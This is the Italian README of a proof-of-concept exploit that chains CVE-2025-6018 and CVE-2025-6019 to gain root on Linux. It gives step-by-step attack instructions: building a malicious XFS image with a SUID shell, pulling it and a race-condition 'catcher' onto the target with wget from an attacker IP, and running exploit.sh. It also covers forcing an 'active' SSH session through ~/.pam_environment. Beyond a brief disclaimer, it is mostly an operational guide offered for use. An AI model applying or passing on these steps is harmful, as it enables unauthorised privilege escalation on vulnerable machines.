CVE-2025-6018 e CVE-2025-6019: PoC di Escalation dei Privilegi Locali

Un Proof of Concept (PoC) robusto per concatenare CVE-2025-6018 (Bypass della Sessione Attiva PAM/Polkit) e CVE-2025-6019 (Difetto di Montaggio SUID in libblockdev) per ottenere accesso root su sistemi Linux vulnerabili.

Disclaimer

Questo strumento è solo per scopi educativi e ricerca di sicurezza autorizzata. Non utilizzarlo su sistemi che non possiedi o per cui non hai esplicita autorizzazione.

---

La Catena di Vulnerabilità

Questo exploit combina due difetti logici per elevare i privilegi da utente standard a root:

1. CVE-2025-6018 (L'Ingresso): Una configurazione errata in PAM/Polkit consente di contrassegnare le sessioni SSH remote come Active=yes. Questo trucco convince il sistema che l'utente remoto sia fisicamente presente alla console, bypassando i requisiti di password per strumenti di gestione hardware come udisks2.
2. CVE-2025-6019 (L'Arma): La libreria libblockdev (usata da udisks2) non riesce ad applicare il flag di sicurezza nosuid quando monta temporaneamente un filesystem per operazioni di manutenzione (come Check o Resize).

La Kill Chain

1. Preparazione: Creiamo un'immagine XFS malevola contenente una shell SUID root statica.
2. Bypass: Ci affidiamo allo stato di sessione Active=yes per montare questa immagine come dispositivo loop senza password.
3. Trigger: Effettuiamo una chiamata D-Bus a Filesystem.Check. Questo forza udisks2 a montare temporaneamente l'immagine per verificarla. Fondamentalmente, questo montaggio temporaneo è privo di nosuid.
4. Race Condition: Un programma C compilato ("The Sniper") monitora /proc/mounts in tempo reale. Non appena appare il montaggio temporaneo, esegue il payload SUID prima che il sistema lo smonti.

---

Utilizzo

Fase 1: Preparazione (Macchina Attaccante)

Poiché la macchina target spesso manca di strumenti come mkfs.xfs o gcc, generiamo il payload localmente.

1. Esegui lo script di build su Kali/Parrot:

   ./build_poc.sh
   

   • Crea exploit.img (immagine XFS da 400MB con shell SUID).
   • Compila catcher (Il vincitore della race-condition).

2. Carica i file sul target: Avvia un server Python:

   python3 -m http.server 80
   

   Sulla macchina target (ad esempio in /tmp):

   wget http://<YOUR_IP>/exploit.img
   wget http://<YOUR_IP>/catcher
   chmod +x catcher
   

Fase 2: Sfruttamento (Macchina Target)

1. Scarica lo script di exploit: Salva il contenuto di exploit.sh da questo repository sulla macchina target.

2. Esegui l'exploit:

   chmod +x exploit.sh
   ./exploit.sh
   

3. Goditi la root: Lo script configurerà automaticamente il dispositivo loop, avvierà il catcher in background e innescherà la vulnerabilità. Dovresti essere immediatamente inserito in una shell root.

---

Risoluzione dei Problemi

"Autenticazione necessaria per configurare un dispositivo loop"

Se lo script richiede una password, la tua sessione SSH non è attiva. Soluzione:

1. Crea ~/.pam_environment:

   echo "XDG_SEAT=seat0" > ~/.pam_environment
   echo "XDG_VTNR=1" >> ~/.pam_environment
   

2. Esci e rientra.
3. Verifica con loginctl show-session $XDG_SESSION_ID | grep Active. Deve restituire Active=yes.

"Race condition fallita / Nessuna shell"

La finestra vulnerabile è larga solo millisecondi.

• Assicurati di usare il catcher compilato in C (incluso in build_poc.sh), non un loop Bash.
• Lo script utilizza il metodo Filesystem.Check, che è più affidabile di Resize.

---

Manifesto dei File

build_poc.sh (Lato Attaccante)

Automatizza la creazione dell'immagine malevola e compila i binari statici.

exploit.sh (Lato Target)

L'orchestratore. Gestisce:

1. Verifica della Sessione Attiva.
2. Avvio del catcher in background.
3. Configurazione del dispositivo loop tramite udisksctl.
4. Attivazione della chiamata D-Bus Filesystem.Check.

---

Crediti

• Scoperta Originale: Qualys Research Team (CVE-2025-6018, CVE-2025-6019) https://www.helpnetsecurity.com/2025/06/18/chaining-two-lpes-to-get-root-most-linux-distros-vulnerable-cve-2025-6018-cve-2025-6019/